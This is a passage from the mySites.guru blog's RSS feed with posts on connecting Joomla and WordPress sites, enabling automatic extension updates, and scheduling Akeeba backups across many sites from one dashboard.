&lt;p&gt;Disk space monitoring is part of our &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;site monitoring guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>disk space</category><category>monitoring</category><category>hosting</category><category>snapshot</category><category>alerts</category><enclosure url="https://mysites.guru/img/og/blog/about-the-disk-space-warnings-in-mysites-guru.webp" length="0" type="image/webp"/></item><item><title>Add unlimited Joomla and WordPress sites to mySites.guru</title><link>https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/</guid><description>Step-by-step guide to connecting your first Joomla or WordPress site to mySites.guru - supports unlimited sites for one flat monthly fee.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;&lt;p&gt;The screenshots below are from an older version of the interface. We’ve since redesigned the dashboard, but the process works the same way.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;One of the founding principles of mySites.guru is that we offer an &lt;strong&gt;unlimited service&lt;/strong&gt; for &lt;strong&gt;unlimited sites&lt;/strong&gt; in your account at &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;one set price per month (or year)&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We haven’t raised prices once since we launched in 2012. Fourteen years later and it’s still the same flat fee - no sneaky annual increases, no “new tier” upsells.&lt;/p&gt;
&lt;p&gt;Once you have &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;created your account&lt;/a&gt; at mySites.guru, you can then add your first site!&lt;/p&gt;
&lt;p&gt;Adding your first site is straightforward - select which platform you want to connect. We support all &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;Joomla versions from 1.5 upwards&lt;/a&gt; and WordPress going back a long time.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.35.02-1024x570.uZoJW9vG_drMJ.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.35.02-1024x570.uZoJW9vG_ZSJNBV.webp 640w, https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.35.02-1024x570.uZoJW9vG_1pAt3C.webp 750w, https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.35.02-1024x570.uZoJW9vG_T7f9T.webp 828w, https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.35.02-1024x570.uZoJW9vG_drMJ.webp 1024w&quot; alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;570&quot; /&gt;*Make a selection of platform to add *&lt;/p&gt;
&lt;p&gt;You will then be presented with the connection wizard.&lt;/p&gt;
&lt;h2&gt;How do you add a Joomla site to mySites.guru?&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.35.39-1024x738.PEN3AQcT_20Az5V.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.35.39-1024x738.PEN3AQcT_FfwUl.webp 640w, https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.35.39-1024x738.PEN3AQcT_Z1wBNqX.webp 750w, https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.35.39-1024x738.PEN3AQcT_ZVnVxB.webp 828w, https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.35.39-1024x738.PEN3AQcT_20Az5V.webp 1024w&quot; alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;738&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After clicking the Joomla logo you will see the connection wizard, take a look, read, and then you can proceed to the next page.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.36.36-1024x742.DWJ42cgK_qGlSk.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.36.36-1024x742.DWJ42cgK_ZJVrtn.webp 640w, https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.36.36-1024x742.DWJ42cgK_21JajE.webp 750w, https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.36.36-1024x742.DWJ42cgK_Z1eplCW.webp 828w, https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.36.36-1024x742.DWJ42cgK_qGlSk.webp 1024w&quot; alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;742&quot; /&gt;&lt;/p&gt;
&lt;p&gt;On the “Get Plugin” page you are given two different ways to install our plugin into your Joomla Site.&lt;/p&gt;
&lt;p&gt;The most simple is to just copy the url in the green box by pressing the copy button next to it, and paste that into the &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;Joomla Extension&lt;/a&gt; Installer in your sites admin console.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.38.04-1024x455.BW9DGs9a_Z1vkznb.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.38.04-1024x455.BW9DGs9a_ZHde5F.webp 640w, https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.38.04-1024x455.BW9DGs9a_Z1r3GOA.webp 750w, https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.38.04-1024x455.BW9DGs9a_Z1A5G0t.webp 828w, https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.38.04-1024x455.BW9DGs9a_Z1vkznb.webp 1024w&quot; alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;455&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After clicking check and install and seeing a green success message, return to mySites.guru where you will see a connected screen - and your site will be connected! or you will see this screen:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.38.40-1024x746.foQcB9Sh_Z20gSmT.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.38.40-1024x746.foQcB9Sh_C1XOF.webp 640w, https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.38.40-1024x746.foQcB9Sh_Z1zPmwD.webp 750w, https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.38.40-1024x746.foQcB9Sh_ecfjG.webp 828w, https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.38.40-1024x746.foQcB9Sh_Z20gSmT.webp 1024w&quot; alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;746&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Dont panic if you see this, it just means your site did not call home to us - we can try to shout at your site and see if our connector is listening, to do this click the “click here” on this screen to provide your domain name&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.39.49-1024x744.DyGWt-6O_Z265RJU.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.39.49-1024x744.DyGWt-6O_Z24BWix.webp 640w, https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.39.49-1024x744.DyGWt-6O_MGP95.webp 750w, https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.39.49-1024x744.DyGWt-6O_Z2srFNw.webp 828w, https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.39.49-1024x744.DyGWt-6O_Z265RJU.webp 1024w&quot; alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;744&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Add your domain name and attempt the manual connection - fingers crossed the next screen you will see is the manage site page and your site will be connected to mySites.guru&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.40.17-1024x742.ChqdSfM3_ZfUUru.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.40.17-1024x742.ChqdSfM3_2HCjk.webp 640w, https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.40.17-1024x742.ChqdSfM3_Z2fMSGz.webp 750w, https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.40.17-1024x742.ChqdSfM3_ZqKgPf.webp 828w, https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.40.17-1024x742.ChqdSfM3_ZfUUru.webp 1024w&quot; alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;742&quot; /&gt;&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Error messages? Forbidden? .htaccess restrictions?&lt;/p&gt;&lt;div&gt;JUST &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;ASK FOR HELP&lt;/a&gt; - We investigate all connection issues FOR FREE for you, just use the contact links on our site to &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;ask for help&lt;/a&gt;, we will get you connected so you can enjoy mySites.guru&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;How do you connect a WordPress site to mySites.guru?&lt;/h2&gt;
&lt;p&gt;The process for WordPress sites is slightly different. In the wizard you will be prompted to download our plugin zip. &lt;strong&gt;Read the important notes.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.42.19-1024x745.lrOUqK0I_2hLyO7.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.42.19-1024x745.lrOUqK0I_ZhTUwM.webp 640w, https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.42.19-1024x745.lrOUqK0I_Z2uMgT6.webp 750w, https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.42.19-1024x745.lrOUqK0I_ZLnOGm.webp 828w, https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.42.19-1024x745.lrOUqK0I_2hLyO7.webp 1024w&quot; alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;745&quot; /&gt;&lt;/p&gt;
&lt;p&gt;You can then install this WordPress plugin the same way you would upload any WordPress plugin to your site.&lt;/p&gt;
&lt;p&gt;You will then be asked to provide us with your WordPress Site URL ending in a trailing slash&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.43.31-1024x740.B__AA75I_2l0NKF.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.43.31-1024x740.B__AA75I_HuJmQ.webp 640w, https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.43.31-1024x740.B__AA75I_Z1A0LD3.webp 750w, https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.43.31-1024x740.B__AA75I_ZYLTJG.webp 828w, https://mysites.guru/_astro/Screenshot-2020-05-04-at-17.43.31-1024x740.B__AA75I_2l0NKF.webp 1024w&quot; alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;740&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once you click attempt connection, we will shout over to your WordPress site and see if our connector replies, and then redirect you to the WordPress Manage site page.&lt;/p&gt;
&lt;h2&gt;Can I really connect unlimited sites for one set fee?&lt;/h2&gt;
&lt;p&gt;YES! There’s no hard cap on how many sites you can add. The biggest customer account is nearing &lt;strong&gt;1,000 sites&lt;/strong&gt;, which is quite excessive for GBP19.99 a month, but that’s ok!&lt;/p&gt;
&lt;p&gt;If you’re the first to hit 1,000, let me know, I’ll buy you a cake!&lt;/p&gt;
&lt;p&gt;We have not increased &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;our prices for subscription&lt;/a&gt;s from the GBP19.99 per month since we launched in 2012.&lt;/p&gt;
&lt;h3&gt;Got Questions? Need Help?&lt;/h3&gt;
&lt;p&gt;Im online most of the time - look for the live chat at the bottom right corner of the page or locate the &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;contact&lt;/a&gt;/feedback links.&lt;/p&gt;
&lt;p&gt;Every Single Page that we publish has a contact means on it and I answer all emails personally within moments if I’m online and within 12 hours normally!&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>site management</category><category>pricing</category><enclosure url="https://mysites.guru/img/og/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru.webp" length="0" type="image/webp"/></item><item><title>Automatic Updates for Any Joomla Extension</title><link>https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/</link><guid isPermaLink="true">https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/</guid><description>Enable automatic updates for any Joomla extension that uses a Joomla update site - set per-site or across all connected sites with two clicks.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Any Joomla extension that has an update site (meaning it implements the Joomla Updates API) can be set to automatically update when a new version is available. WordPress has had this for years, and now mySites.guru brings the same capability to Joomla - particularly useful when you’re &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;managing multiple Joomla sites&lt;/a&gt; and need consistent extension versions across every one of them.&lt;/p&gt;
&lt;p&gt;Note: this covers &lt;em&gt;extension&lt;/em&gt; auto-updates, which you control per-extension through mySites.guru. Joomla 5.4+ also introduced &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;automated &lt;em&gt;core&lt;/em&gt; updates&lt;/a&gt; - a separate feature managed by Joomla.org infrastructure that patches the CMS itself without admin intervention. If you manage client sites, you probably want to disable core auto-updates while selectively enabling extension auto-updates here.&lt;/p&gt;
&lt;h2&gt;Background on Joomla extension auto-updates&lt;/h2&gt;
&lt;p&gt;mySites.guru has been running automatic updates for years. The system has automatically upgraded over 3 million &lt;a href=&quot;https://www.joomlacontenteditor.net/&quot;&gt;JCE Editor&lt;/a&gt;, &lt;a href=&quot;https://www.akeeba.com/products/akeeba-backup.html&quot;&gt;Akeeba Backup&lt;/a&gt;, &lt;a href=&quot;https://www.akeeba.com/products/admin-tools.html&quot;&gt;Admin Tools&lt;/a&gt;, and &lt;a href=&quot;https://regularlabs.com/&quot;&gt;RegularLabs&lt;/a&gt; extensions across connected sites.&lt;/p&gt;
&lt;p&gt;Originally, auto-updates were limited to a handful of trusted extension developers. The quality of some Joomla extensions at the time made it risky to auto-update everything. Since then, the ecosystem has matured, and customers told us they wanted to select their own extensions for auto-update, including custom extensions they’d built themselves.&lt;/p&gt;
&lt;p&gt;So now you can select &lt;strong&gt;any update site stream&lt;/strong&gt; and mark it for automatic updates. For core and extension updates across many sites at once, see &lt;a href=&quot;https://mysites.guru/bulk-update-joomla/&quot;&gt;bulk updating Joomla&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;How do Joomla extension auto-updates work?&lt;/h2&gt;
&lt;p&gt;On the Updates tab of any Manage Site page, you’ll see every update site stream reported by your Joomla site:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru Updates tab showing a list of Joomla extension update site streams with auto-update toggle buttons&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;468&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-18.08.40-1024x468.NZFsGp34_DQOH3.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-18.08.40-1024x468.NZFsGp34_ZXblL7.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-02-18.08.40-1024x468.NZFsGp34_Z17DYGJ.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-02-18.08.40-1024x468.NZFsGp34_Z1aiuI9.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-02-18.08.40-1024x468.NZFsGp34_DQOH3.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This data comes from the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot of your site&lt;/a&gt;. You can see the exact URL each extension developer provides for updates, which also lets you verify the authenticity of your update sites. Very few Joomla site owners actually check this.&lt;/p&gt;
&lt;p&gt;Any stream marked &lt;strong&gt;Auto Update Enabled&lt;/strong&gt; gets checked once a day. If an update is available for an installed extension, mySites.guru tells your Joomla site to apply it. You’ll get an email notification for both successful and failed updates.&lt;/p&gt;
&lt;h2&gt;How do you enable Joomla auto-updates across all sites at once?&lt;/h2&gt;
&lt;p&gt;The split button lets you enable an update site stream across every connected site in your account. Want Akeeba Backup to auto-update on all your sites? Two clicks. The same cross-site approach applies to &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;managing multiple WordPress sites&lt;/a&gt; - plugin auto-updates work identically across your WordPress portfolio.&lt;/p&gt;
&lt;p&gt;This also works for Joomla’s own components - Accredited Translations, Joomla WebLinks, and the Joomla Update Component can all be kept current automatically.&lt;/p&gt;
&lt;h2&gt;How do you verify Joomla update site authenticity?&lt;/h2&gt;
&lt;p&gt;One thing most Joomla site owners never do is check where their update sites actually point. Every extension registers a URL that Joomla calls when checking for updates. If that URL has been tampered with, or if a dodgy extension is phoning home to somewhere unexpected, you’d never know without looking.&lt;/p&gt;
&lt;p&gt;The Updates tab in mySites.guru shows you the exact URL for each update stream. If something doesn’t look right (an unfamiliar domain, HTTP instead of HTTPS, a URL that doesn’t match the developer’s known infrastructure), that’s worth investigating before you enable auto-updates for it. A common example is an abandoned extension whose update site now &lt;a href=&quot;https://mysites.guru/blog/invalid-status-code-999-joomla-update-error/&quot;&gt;redirects to LinkedIn and returns an HTTP 999 error&lt;/a&gt;, which breaks update checks across every site that has it installed.&lt;/p&gt;
&lt;h2&gt;When should you use Joomla auto-updates vs manual updates?&lt;/h2&gt;
&lt;p&gt;Auto-updates work best for extensions where you trust the developer and where updates are typically non-breaking: security tools like Akeeba Backup and Admin Tools, content editors like JCE, and utility extensions like RegularLabs. JCE is a good example of why this pays off: it shipped &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/&quot;&gt;back-to-back security releases&lt;/a&gt;, including an unauthenticated file upload fix, and auto-updated sites picked them up overnight while everyone else logged in by hand.&lt;/p&gt;
&lt;p&gt;For extensions that are tightly integrated with your site’s functionality (page builders, complex e-commerce components, or anything that modifies database schema on update), you might prefer to &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;apply updates manually&lt;/a&gt; so you can test first. Nothing stops you from mixing both approaches: auto-update the low-risk stuff and manually handle the rest. If you are setting this up on a new account today, the &lt;a href=&quot;https://mysites.guru/blog/how-to-enable-joomla-extension-auto-updates/&quot;&gt;step-by-step how-to for enabling extension auto-updates safely&lt;/a&gt; walks through the backup-first ordering and the rollback step.&lt;/p&gt;
&lt;p&gt;Note that extension auto-updates through mySites.guru are separate from Joomla’s built-in &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;automated core upgrades&lt;/a&gt; introduced in Joomla 5.4. The core auto-update feature only touches Joomla itself, not third-party extensions. If you want both core and extension updates managed through a controlled workflow, disable core auto-updates and use mySites.guru for both.&lt;/p&gt;
&lt;h2&gt;Can you auto-update your own custom Joomla extensions?&lt;/h2&gt;
&lt;p&gt;If you’ve built custom extensions for your clients, you can auto-update those too, as long as they implement a standard Joomla update site. This is common for agencies that maintain a branded plugin across dozens of client sites.&lt;/p&gt;
&lt;p&gt;Push a new version to your update server, and mySites.guru rolls it out to every site that has auto-updates enabled for that stream. No need to use the &lt;a href=&quot;https://mysites.guru/blog/how-to-install-an-extension-to-multiple-joomla-sites-at-once/&quot;&gt;mass installer&lt;/a&gt; for routine version bumps.&lt;/p&gt;
&lt;h2&gt;What happens when an auto-update fails?&lt;/h2&gt;
&lt;p&gt;mySites.guru sends you an email immediately. The notification tells you which site, which extension, and what went wrong. Common failure reasons:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The site was offline or unreachable when the update was attempted&lt;/li&gt;
&lt;li&gt;PHP memory or execution time limits were too low for the update package&lt;/li&gt;
&lt;li&gt;File permission issues prevented writing to the extension directory&lt;/li&gt;
&lt;li&gt;The update server itself was temporarily unavailable&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Failed updates don’t affect other sites or other extensions. Each is processed independently. Fix the underlying issue and either wait for the next daily check or trigger a manual update.&lt;/p&gt;
&lt;h2&gt;What if I don’t want auto-updates?&lt;/h2&gt;
&lt;p&gt;Nothing is enabled by default. You have to make a conscious decision to opt in for each extension stream. If you prefer to review and apply updates manually, that’s fine too.&lt;/p&gt;
&lt;h2&gt;Safety net: backups and uptime monitoring&lt;/h2&gt;
&lt;p&gt;You can &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;schedule daily backups&lt;/a&gt; in your mySites.guru account using Akeeba Backup (free or professional version). If an auto-update causes problems, you’ve got a restore point from before the update ran.&lt;/p&gt;
&lt;p&gt;mySites.guru notifies you immediately when an update succeeds or fails. The notification email includes a link to the developer’s release notes so you can check what changed.&lt;/p&gt;
&lt;p&gt;You can also set up &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;uptime monitoring&lt;/a&gt; that checks your site every 5 minutes around the clock. If a site goes offline after an update, you’ll know within minutes - not when a client calls.&lt;/p&gt;
&lt;h2&gt;Force-pushing a specific extension version with the mass installer&lt;/h2&gt;
&lt;p&gt;Sometimes auto-updates and the standard upgrade path aren’t what you need. Maybe an extension’s update server is down, or you want to roll back to a specific version, or you’ve got a patched zip that fixes a problem the developer hasn’t released yet.&lt;/p&gt;
&lt;p&gt;In those cases, the &lt;a href=&quot;https://mysites.guru/blog/how-to-install-an-extension-to-multiple-joomla-sites-at-once/&quot;&gt;mass installer&lt;/a&gt; lets you upload a zip file (or paste a URL to one) and push it to as many sites as you want. The installer overwrites whatever version is currently installed - so you can use it to upgrade, downgrade, or replace an extension entirely.&lt;/p&gt;
&lt;p&gt;This is also useful for extensions that don’t have an update site at all. Some older Joomla extensions or niche commercial plugins never implemented the Joomla Updates API, so auto-updates aren’t an option. The mass installer sidesteps that completely. If you’ve got the zip, you can deploy it.&lt;/p&gt;
&lt;h2&gt;Combining auto-updates with vulnerability alerts&lt;/h2&gt;
&lt;p&gt;mySites.guru also cross-references your installed plugin versions against &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;known vulnerability databases&lt;/a&gt;. If an extension you haven’t opted into auto-updates gets flagged as vulnerable, you’ll see it on your dashboard. That’s often a good prompt to either enable auto-updates for it going forward or push a manual update immediately. When critical vulnerabilities like the &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework exploit (CVE-2026-21627)&lt;/a&gt; drop, sites with automatic updates enabled are patched before the public exploit hits GitHub.&lt;/p&gt;
&lt;p&gt;Auto-update the extensions you trust, and let vulnerability alerting watch everything else.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt; to connect your first Joomla site and try automatic extension updates.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Learn more about update strategies in our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;CMS updates guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>updates</category><category>extensions</category><category>scheduling</category><enclosure url="https://mysites.guru/img/og/blog/automatic-updates-for-any-joomla-extension.webp" length="0" type="image/webp"/></item><item><title>Backup 1000s of Sites from One Dashboard</title><link>https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/</guid><description>Schedule and manage Akeeba Backup across thousands of Joomla and WordPress sites from a single mySites.guru dashboard.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;With &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;mySites.guru&lt;/a&gt; you can set and forget your backup &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;schedule&lt;/a&gt; and let it handle running your backups and notifying you if there’s a problem.&lt;/p&gt;
&lt;h2&gt;What makes a backup worth having?&lt;/h2&gt;
&lt;p&gt;There is only one kind of backup worth having: one that actually restores.&lt;/p&gt;
&lt;p&gt;mySites.guru uses &lt;a href=&quot;https://www.akeeba.com&quot;&gt;Akeeba Backup&lt;/a&gt; under the hood, the &lt;a href=&quot;https://www.akeeba.com&quot;&gt;best backup solution&lt;/a&gt; available for Joomla and WordPress, inside a &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;centralised dashboard&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Akeeba has been &lt;a href=&quot;https://www.akeeba.com/our-team.html&quot;&gt;around since 2006&lt;/a&gt;. Millions of downloads, &lt;a href=&quot;https://www.akeeba.com/our-team.html&quot;&gt;high praise in the Joomla Extensions Directory&lt;/a&gt;, &lt;a href=&quot;https://www.akeeba.com/our-team.html&quot;&gt;three J.O.S.C.A.R. awards&lt;/a&gt;. One goal: backup, restore and transfer your site in a snap. It supports WordPress too.&lt;/p&gt;
&lt;h2&gt;How does the mySites.guru backup scheduler work?&lt;/h2&gt;
&lt;p&gt;Scheduling backups across many sites has always been the annoying part of managing Akeeba. mySites.guru handles that as a &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;centralised scheduler&lt;/a&gt; for all your connected sites.&lt;/p&gt;
&lt;p&gt;If you have &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;thousands of Joomla and WordPress sites in your dashboard&lt;/a&gt;, managing their Akeeba connections from one place just makes sense.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru backup dashboard showing recent backups, schedules and Akeeba connection status for multiple sites&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;837&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-01-29-20.19.57-1024x837.CCJbqebY_1gtiKG.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-01-29-20.19.57-1024x837.CCJbqebY_1y7Fo0.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-01-29-20.19.57-1024x837.CCJbqebY_Z2bqP2D.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-01-29-20.19.57-1024x837.CCJbqebY_Zz9M6r.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-01-29-20.19.57-1024x837.CCJbqebY_1gtiKG.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Connecting Akeeba to mySites.guru takes a single click. From there, pick the backup profile to run and set a schedule: daily, weekly, or monthly.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;backup overview dashboard&lt;/a&gt; shows each site’s last backup date and status at a glance.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru backup overview showing last backup dates and statuses across all connected sites&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;904&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-01-29-20.18.12-1024x904.B6am2lyX_PtwPa.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-01-29-20.18.12-1024x904.B6am2lyX_Z1YMNYv.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-01-29-20.18.12-1024x904.B6am2lyX_v0DEb.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-01-29-20.18.12-1024x904.B6am2lyX_ZTeOMh.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-01-29-20.18.12-1024x904.B6am2lyX_PtwPa.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;You can disable schedules, adjust them, or start backups across all your sites with one click.&lt;/p&gt;
&lt;h2&gt;How do you backup 1000 sites with one click?&lt;/h2&gt;
&lt;p&gt;mySites.guru queues all the sites and processes the backups as fast as your servers can handle. The &lt;a href=&quot;https://mysites.guru/website-backups/&quot;&gt;website backups&lt;/a&gt; page has the overview.&lt;/p&gt;
